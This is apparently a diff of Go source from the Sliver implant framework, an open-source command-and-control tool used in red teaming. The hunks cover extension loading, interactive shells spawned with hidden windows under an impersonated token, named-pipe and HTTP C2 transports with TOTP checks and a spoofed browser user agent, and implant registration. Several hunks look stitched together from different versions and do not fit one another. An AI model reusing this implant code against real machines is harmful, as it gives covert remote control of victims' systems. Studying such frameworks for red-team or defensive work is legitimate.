ext := extension.NewWindowsExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
|
||||
extension.Add(ext)
|
||||
err = ext.Load()
|
||||
registerResp := &sliverpb.RegisterExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
if err != nil {
|
||||
registerResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(registerResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func callExtensionHandler(data []byte, resp RPCResponse) {
|
||||
callReq := &sliverpb.CallExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, callReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
callResp := &sliverpb.CallExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
gotOutput := false
|
||||
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
|
||||
gotOutput = true
|
||||
callResp.Output = out
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
})
|
||||
// Only send back synchronously if there was an error
|
||||
if err != nil || !gotOutput {
|
||||
if err != nil {
|
||||
callResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
}
|
||||
}
|
||||
|
||||
func listExtensionsHandler(data []byte, resp RPCResponse) {
|
||||
lstReq := &sliverpb.ListExtensionsReq{}
|
||||
err := proto.Unmarshal(data, lstReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
exts := extension.List()
|
||||
lstResp := &sliverpb.ListExtensions{
|
||||
Response: &commonpb.Response{},
|
||||
Names: exts,
|
||||
}
|
||||
data, err = proto.Marshal(lstResp)
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build linux || darwin || windows
|
||||
// +build windows linux darwin
|
||||
|
||||
package handlers
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build linux || darwin || windows
|
||||
// +build windows linux darwin
|
||||
|
||||
package handlers
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build !(linux || darwin || windows)
|
||||
// +build !darwin !windows !linux
|
||||
|
||||
package hostuuid
|
||||
|
||||
@@ -21,35 +21,23 @@ package hostuuid
|
||||
*/
|
||||
|
||||
import (
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
// Stored Format: {U-U-I-D}
|
||||
var uuidKeyPath = "SYSTEM\\HardwareConfig"
|
||||
var uuidKey = "LastConfig"
|
||||
var uuid_keypath = "HKEY_LOCAL_MACHINE\\SYSTEM\\HardwareConfig"
|
||||
var uuid_key = "LastConfig"
|
||||
|
||||
func GetUUID() string {
|
||||
var uuidStr string
|
||||
var err error
|
||||
|
||||
key, err := registry.OpenKey(registry.LOCAL_MACHINE, uuidKeyPath, registry.QUERY_VALUE)
|
||||
if err == nil {
|
||||
uuidStr, _, err = key.GetStringValue(uuidKey)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to read reg key string value: %s", err)
|
||||
// {{end}}
|
||||
return ""
|
||||
}
|
||||
return uuidStr[1:37]
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to read reg key: %s", err)
|
||||
// {{end}}
|
||||
key, err := registry.OpenKey(registry.CURRENT_USER, uuid_keypath, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return ""
|
||||
|
||||
str, _, err := key.GetStringValue(uuid_key)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
return str[1:37]
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build !(linux || darwin || windows)
|
||||
// +build !windows !linux !darwin
|
||||
|
||||
package limits
|
||||
|
||||
@@ -1,6 +1,4 @@
|
||||
//go:build !(linux || darwin || windows)
|
||||
|
||||
package proxy
|
||||
// +build !windows !linux !darwin
|
||||
|
||||
// Copyright 2018, Rapid7, Inc.
|
||||
// License: BSD-3-clause
|
||||
@@ -15,6 +13,8 @@ package proxy
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
@@ -1,115 +0,0 @@
|
||||
//go:build darwin || linux || freebsd || openbsd || dragonfly
|
||||
|
||||
package shell
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"os/exec"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
|
||||
)
|
||||
|
||||
var (
|
||||
// Shell constants
|
||||
bash = []string{"/bin/bash"}
|
||||
sh = []string{"/bin/sh"}
|
||||
)
|
||||
|
||||
// Start - Start a process
|
||||
func Start(command string) error {
|
||||
cmd := exec.Command(command)
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
// StartInteractive - Start a shell
|
||||
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
|
||||
if enablePty {
|
||||
return ptyShell(tunnelID, command)
|
||||
}
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
|
||||
func pipedShell(tunnelID uint64, command []string) *Shell {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] %s", command)
|
||||
// {{end}}
|
||||
|
||||
cmd := exec.Command(command[0], command[1:]...)
|
||||
stdin, err := cmd.StdinPipe()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] stdin pipe failed\n")
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
stdout, err := cmd.StdoutPipe()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] stdout pipe failed\n")
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: stdout,
|
||||
Stdin: stdin,
|
||||
}
|
||||
}
|
||||
|
||||
func ptyShell(tunnelID uint64, command []string) *Shell {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[ptmx] %s", command)
|
||||
// {{end}}
|
||||
|
||||
cmd := exec.Command(command[0], command[1:]...)
|
||||
term, err := pty.Start(cmd)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[term] %v, falling back to piped shell...", err)
|
||||
// {{end}}
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
cmd.Start()
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: term,
|
||||
Stdin: term,
|
||||
}
|
||||
}
|
||||
|
||||
// GetSystemShellPath - Find bash or sh
|
||||
func GetSystemShellPath(path string) []string {
|
||||
if exists(path) {
|
||||
return []string{path}
|
||||
}
|
||||
if exists(bash[0]) {
|
||||
return bash
|
||||
}
|
||||
return sh
|
||||
}
|
||||
@@ -20,8 +20,30 @@ package shell
|
||||
|
||||
import (
|
||||
"io"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"os"
|
||||
"os/exec"
|
||||
|
||||
// {{if ne .Config.GOOS "windows"}}
|
||||
"runtime"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
|
||||
// {{end}}
|
||||
|
||||
// {{if eq .Config.GOOS "windows"}}
|
||||
"syscall"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"golang.org/x/sys/windows"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
const (
|
||||
readBufSize = 1024
|
||||
)
|
||||
|
||||
// Shell - Struct to hold shell related data
|
||||
@@ -32,12 +54,89 @@ type Shell struct {
|
||||
Stdin io.WriteCloser
|
||||
}
|
||||
|
||||
// Start - Start a process
|
||||
func Start(command string) error {
|
||||
cmd := exec.Command(command)
|
||||
//{{if eq .Config.GOOS "windows"}}
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
Token: syscall.Token(priv.CurrentToken),
|
||||
HideWindow: true,
|
||||
}
|
||||
//{{end}}
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
// StartInteractive - Start a shell
|
||||
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
|
||||
|
||||
// {{if ne .Config.GOOS "windows"}}
|
||||
if enablePty && runtime.GOOS != "windows" {
|
||||
return ptyShell(tunnelID, command)
|
||||
}
|
||||
// {{end}}
|
||||
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
|
||||
func pipedShell(tunnelID uint64, command []string) *Shell {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] %s", command)
|
||||
// {{end}}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
cmd = exec.Command(command[0], command[1:]...)
|
||||
//{{if eq .Config.GOOS "windows"}}
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
Token: syscall.Token(priv.CurrentToken),
|
||||
HideWindow: true,
|
||||
}
|
||||
//{{end}}
|
||||
|
||||
stdin, _ := cmd.StdinPipe()
|
||||
stdout, _ := cmd.StdoutPipe()
|
||||
// cmd.Start()
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: stdout,
|
||||
Stdin: stdin,
|
||||
}
|
||||
}
|
||||
|
||||
// StartAndWait starts a system shell then waits for it to complete
|
||||
func (s *Shell) StartAndWait() {
|
||||
s.Command.Start()
|
||||
s.Command.Wait()
|
||||
}
|
||||
|
||||
// {{if ne .Config.GOOS "windows"}}
|
||||
func ptyShell(tunnelID uint64, command []string) *Shell {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[ptmx] %s", command)
|
||||
// {{end}}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
cmd = exec.Command(command[0], command[1:]...)
|
||||
ptmx, err := pty.Start(cmd)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[ptmx] %v, falling back to piped shell...", err)
|
||||
// {{end}}
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
cmd.Start()
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: ptmx,
|
||||
Stdin: ptmx,
|
||||
}
|
||||
}
|
||||
|
||||
// {{end}}
|
||||
|
||||
func exists(path string) bool {
|
||||
_, err := os.Stat(path)
|
||||
if err == nil {
|
||||
|
||||
@@ -1,10 +1,8 @@
|
||||
//go:build !darwin && !(windows && (amd64 || 386)) && !(linux && (amd64 || 386))
|
||||
|
||||
package version
|
||||
package shell
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -18,14 +16,21 @@ package version
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
-----------------------------------------------------------------------
|
||||
|
||||
Place holder so we don't get undefined functions in generic builds.
|
||||
|
||||
*/
|
||||
|
||||
// GetVersion returns the os version information
|
||||
func GetVersion() string {
|
||||
return ""
|
||||
var (
|
||||
// Shell constants
|
||||
bash = []string{"/bin/bash"}
|
||||
sh = []string{"/bin/sh"}
|
||||
)
|
||||
|
||||
// GetSystemShellPath - Find bash or sh
|
||||
func GetSystemShellPath(path string) []string {
|
||||
if exists(path) {
|
||||
return []string{path}
|
||||
}
|
||||
if exists(bash[0]) {
|
||||
return bash
|
||||
}
|
||||
return sh
|
||||
}
|
||||
@@ -1,5 +1,4 @@
|
||||
//go:build !windows && !darwin && !linux && !freebsd && !openbsd && !dragonfly
|
||||
|
||||
// +build !windows !linux !darwin
|
||||
package shell
|
||||
|
||||
/*
|
||||
@@ -21,11 +20,11 @@ package shell
|
||||
*/
|
||||
|
||||
import (
|
||||
|
||||
"io"
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"os"
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
@@ -35,6 +34,14 @@ var (
|
||||
sh = []string{"/bin/sh"}
|
||||
)
|
||||
|
||||
// Shell - Struct to hold shell related data
|
||||
type Shell struct {
|
||||
ID uint64
|
||||
Command *exec.Cmd
|
||||
Stdout io.ReadCloser
|
||||
Stdin io.WriteCloser
|
||||
}
|
||||
|
||||
// Start - Start a process
|
||||
func Start(command string) error {
|
||||
cmd := exec.Command(command)
|
||||
@@ -42,7 +49,7 @@ func Start(command string) error {
|
||||
}
|
||||
|
||||
// StartInteractive - Start a shell
|
||||
func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
|
||||
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
|
||||
@@ -51,7 +58,9 @@ func pipedShell(tunnelID uint64, command []string) *Shell {
|
||||
log.Printf("[shell] %s", command)
|
||||
// {{end}}
|
||||
|
||||
cmd := exec.Command(command[0], command[1:]...)
|
||||
var cmd *exec.Cmd
|
||||
cmd = exec.Command(command[0], command[1:]...)
|
||||
|
||||
stdin, err := cmd.StdinPipe()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -85,3 +94,20 @@ func GetSystemShellPath(path string) []string {
|
||||
}
|
||||
return sh
|
||||
}
|
||||
|
||||
// StartAndWait starts a system shell then waits for it to complete
|
||||
func (s *Shell) StartAndWait() {
|
||||
s.Command.Start()
|
||||
s.Command.Wait()
|
||||
}
|
||||
|
||||
func exists(path string) bool {
|
||||
_, err := os.Stat(path)
|
||||
if err == nil {
|
||||
return true
|
||||
}
|
||||
if os.IsNotExist(err) {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
+15
-15
@@ -1,10 +1,8 @@
|
||||
//go:build !windows
|
||||
|
||||
package transports
|
||||
package shell
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -18,19 +16,21 @@ package transports
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
-----------------------------------------------------------------------
|
||||
|
||||
Place holder so we don't get undefined functions when compiling to
|
||||
non-Windows platforms.
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"net/url"
|
||||
var (
|
||||
// Shell constants
|
||||
bash = []string{"/bin/bash"}
|
||||
sh = []string{"/bin/sh"}
|
||||
)
|
||||
|
||||
func namedPipeConnect(_ *url.URL) (*Connection, error) {
|
||||
return nil, errors.New("not supported")
|
||||
// GetSystemShellPath - Find bash or sh
|
||||
func GetSystemShellPath(path string) []string {
|
||||
if exists(path) {
|
||||
return []string{path}
|
||||
}
|
||||
if exists(bash[0]) {
|
||||
return bash
|
||||
}
|
||||
return sh
|
||||
}
|
||||
@@ -18,23 +18,13 @@ package shell
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"golang.org/x/sys/windows"
|
||||
"os/exec"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
var (
|
||||
// Shell constants
|
||||
commandPrompt = []string{"C:\\Windows\\System32\\cmd.exe"}
|
||||
powerShell = []string{
|
||||
"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
|
||||
"-NoExit",
|
||||
// "-WindowStyle", "Hidden",
|
||||
"-Command", "[Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8",
|
||||
}
|
||||
)
|
||||
@@ -49,40 +39,3 @@ func GetSystemShellPath(path string) []string {
|
||||
}
|
||||
return commandPrompt
|
||||
}
|
||||
|
||||
// Start - Start a process
|
||||
func Start(command string) error {
|
||||
cmd := exec.Command(command)
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
Token: syscall.Token(priv.CurrentToken),
|
||||
HideWindow: true,
|
||||
}
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
// StartInteractive - Start a shell
|
||||
func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
|
||||
func pipedShell(tunnelID uint64, command []string) *Shell {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] %s", command)
|
||||
// {{end}}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
cmd = exec.Command(command[0], command[1:]...)
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
Token: syscall.Token(priv.CurrentToken),
|
||||
HideWindow: true,
|
||||
}
|
||||
stdin, _ := cmd.StdinPipe()
|
||||
stdout, _ := cmd.StdoutPipe()
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: stdout,
|
||||
Stdin: stdin,
|
||||
}
|
||||
}
|
||||
@@ -257,7 +257,7 @@ func getRegisterSliver() *sliverpb.Envelope {
|
||||
filename, err := os.Executable()
|
||||
// Should not happen, but still...
|
||||
if err != nil {
|
||||
// TODO: build the absolute path to os.Args[0]
|
||||
//TODO: build the absolute path to os.Args[0]
|
||||
if 0 < len(os.Args) {
|
||||
filename = os.Args[0]
|
||||
} else {
|
||||
@@ -287,7 +287,6 @@ func getRegisterSliver() *sliverpb.Envelope {
|
||||
ReconnectInterval: uint32(transports.GetReconnectInterval() / time.Second),
|
||||
ProxyURL: transports.GetProxyURL(),
|
||||
PollInterval: uint32(transports.GetPollInterval() / time.Second),
|
||||
ConfigID: "{{ .Config.ID }}",
|
||||
})
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -30,14 +30,6 @@ import (
|
||||
"crypto/sha256"
|
||||
"errors"
|
||||
"io"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
"time"
|
||||
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -133,18 +125,3 @@ func GCMDecrypt(key AESKey, ciphertext []byte) ([]byte, error) {
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
|
||||
func GetOTPCode() string {
|
||||
now := time.Now().UTC()
|
||||
opts := totp.ValidateOpts{
|
||||
Digits: 8,
|
||||
Algorithm: otp.AlgorithmSHA256,
|
||||
Period: uint(30),
|
||||
Skew: uint(1),
|
||||
}
|
||||
code, _ := totp.GenerateCodeCustom("{{ .OTPSecret }}", now, opts)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("TOTP Code: %s", code)
|
||||
// {{end}}
|
||||
return code
|
||||
}
|
||||
@@ -1,5 +1,3 @@
|
||||
//go:build windows
|
||||
|
||||
package transports
|
||||
|
||||
/*
|
||||
@@ -25,18 +23,15 @@ package transports
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"io"
|
||||
"net"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/lesnuages/go-winio"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
@@ -46,61 +41,6 @@ const (
|
||||
writeBufSizeNamedPipe = 1024
|
||||
)
|
||||
|
||||
func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
conn, err := namePipeDial(uri)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
send := make(chan *pb.Envelope)
|
||||
recv := make(chan *pb.Envelope)
|
||||
ctrl := make(chan bool, 1)
|
||||
connection := &Connection{
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
IsOpen: true,
|
||||
cleanup: func() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] lost connection, cleanup...")
|
||||
// {{end}}
|
||||
close(send)
|
||||
ctrl <- true
|
||||
close(recv)
|
||||
},
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for envelope := range send {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
namedPipeWriteEnvelope(&conn, envelope)
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for {
|
||||
envelope, err := namedPipeReadEnvelope(&conn)
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err == nil {
|
||||
recv <- envelope
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Receive loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
}()
|
||||
activeConnection = connection
|
||||
return connection, nil
|
||||
}
|
||||
|
||||
func namePipeDial(uri *url.URL) (net.Conn, error) {
|
||||
address := uri.String()
|
||||
address = strings.ReplaceAll(address, "namedpipe://", "")
|
||||
@@ -124,7 +64,7 @@ func namedPipeWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
_, err = (*conn).Write(dataLengthBuf.Bytes())
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error %s and %d\n", err, dataLengthBuf)
|
||||
log.Printf("[namedpipe] Error %v and %d\n", err, dataLengthBuf)
|
||||
// {{end}}
|
||||
}
|
||||
totalWritten := 0
|
||||
@@ -133,7 +73,7 @@ func namedPipeWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
totalWritten += n
|
||||
if err2 != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error %s\n", err)
|
||||
log.Printf("[namedpipe] Error %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
@@ -142,7 +82,7 @@ func namedPipeWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
_, err := (*conn).Write(data[totalWritten : totalWritten+missing])
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error %s", err)
|
||||
log.Printf("[namedpipe] Error %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
@@ -154,7 +94,7 @@ func namedPipeReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
|
||||
_, err := (*conn).Read(dataLengthBuf)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error (read msg-length): %s", err)
|
||||
log.Printf("[namedpipe] Error (read msg-length): %v\n", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
@@ -180,7 +120,7 @@ func namedPipeReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
|
||||
err = proto.Unmarshal(dataBuf, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Unmarshal envelope error: %s", err)
|
||||
log.Printf("[namedpipe] Unmarshaling envelope error: %v", err)
|
||||
// {{end}}
|
||||
return &sliverpb.Envelope{}, err
|
||||
}
|
||||
|
||||
@@ -20,6 +20,13 @@ package transports
|
||||
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
|
||||
// Procedural C2
|
||||
// ===============
|
||||
// .txt = rsakey
|
||||
// .jsp = init
|
||||
// .php = session
|
||||
// .js = poll
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rsa"
|
||||
@@ -50,17 +57,15 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
userAgent = "{{GenerateUserAgent}}"
|
||||
defaultUserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
|
||||
defaultNetTimeout = time.Second * 60
|
||||
defaultReqTimeout = time.Second * 60 // Long polling, we want a large timeout
|
||||
nonceQueryArgs = "abcdefghijklmnopqrstuvwxyz_"
|
||||
acceptHeaderValue = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
|
||||
)
|
||||
|
||||
// HTTPStartSession - Attempts to start a session with a given address
|
||||
func HTTPStartSession(address string, pathPrefix string, proxyConfig string) (*SliverHTTPClient, error) {
|
||||
func HTTPStartSession(address string, pathPrefix string) (*SliverHTTPClient, error) {
|
||||
var client *SliverHTTPClient
|
||||
client = httpsClient(address, proxyConfig)
|
||||
client = httpsClient(address, true)
|
||||
client.PathPrefix = pathPrefix
|
||||
err := client.SessionInit()
|
||||
if err != nil {
|
||||
@@ -68,7 +73,7 @@ func HTTPStartSession(address string, pathPrefix string, proxyConfig string) (*S
|
||||
if strings.HasSuffix(address, ":443") {
|
||||
address = fmt.Sprintf("%s:80", address[:len(address)-4])
|
||||
}
|
||||
client = httpClient(address, proxyConfig) // Fallback to insecure HTTP
|
||||
client = httpClient(address, true) // Fallback to insecure HTTP
|
||||
err = client.SessionInit()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -114,62 +119,23 @@ func (s *SliverHTTPClient) SessionInit() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
|
||||
req, _ := http.NewRequest(method, uri.String(), body)
|
||||
req.Header.Set("User-Agent", userAgent)
|
||||
if method == http.MethodGet {
|
||||
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
|
||||
req.Header.Set("Accept", acceptHeaderValue)
|
||||
}
|
||||
if uri.Scheme == "http" {
|
||||
req.Header.Set("Upgrade-Insecure-Requests", "1")
|
||||
}
|
||||
func (s *SliverHTTPClient) newHTTPRequest(method, uri string, encoderNonce int, body io.Reader) *http.Request {
|
||||
req, _ := http.NewRequest(method, uri, body)
|
||||
req.Header.Set("User-Agent", defaultUserAgent)
|
||||
req.Header.Set("Accept-Language", "en-US")
|
||||
query := req.URL.Query()
|
||||
query.Set("_", fmt.Sprintf("%d", encoderNonce))
|
||||
req.URL.RawQuery = query.Encode()
|
||||
return req
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) NonceQueryArgument(uri *url.URL, value int) *url.URL {
|
||||
values := uri.Query()
|
||||
key := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Encoder nonce %d", value)
|
||||
// {{end}}
|
||||
argValue := fmt.Sprintf("%d", value)
|
||||
for i := 0; i < insecureRand.Intn(3); i++ {
|
||||
index := insecureRand.Intn(len(argValue))
|
||||
char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
|
||||
argValue = argValue[:index] + char + argValue[index:]
|
||||
}
|
||||
values.Add(string(key), argValue)
|
||||
uri.RawQuery = values.Encode()
|
||||
return uri
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL {
|
||||
values := uri.Query()
|
||||
key1 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
|
||||
key2 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
|
||||
for i := 0; i < insecureRand.Intn(3); i++ {
|
||||
index := insecureRand.Intn(len(value))
|
||||
char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
|
||||
value = value[:index] + char + value[index:]
|
||||
}
|
||||
values.Add(string([]byte{key1, key2}), value)
|
||||
uri.RawQuery = values.Encode()
|
||||
return uri
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
|
||||
uri := s.keyExchangeURL()
|
||||
nonce, encoder := encoders.RandomTxtEncoder()
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
otpCode := GetOTPCode()
|
||||
s.OTPQueryArgument(uri, otpCode)
|
||||
|
||||
uri := s.txtURL()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] GET -> %s", uri)
|
||||
// {{end}}
|
||||
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nil)
|
||||
nonce, encoder := encoders.RandomEncoder()
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nonce, nil)
|
||||
resp, err := s.Client.Do(req)
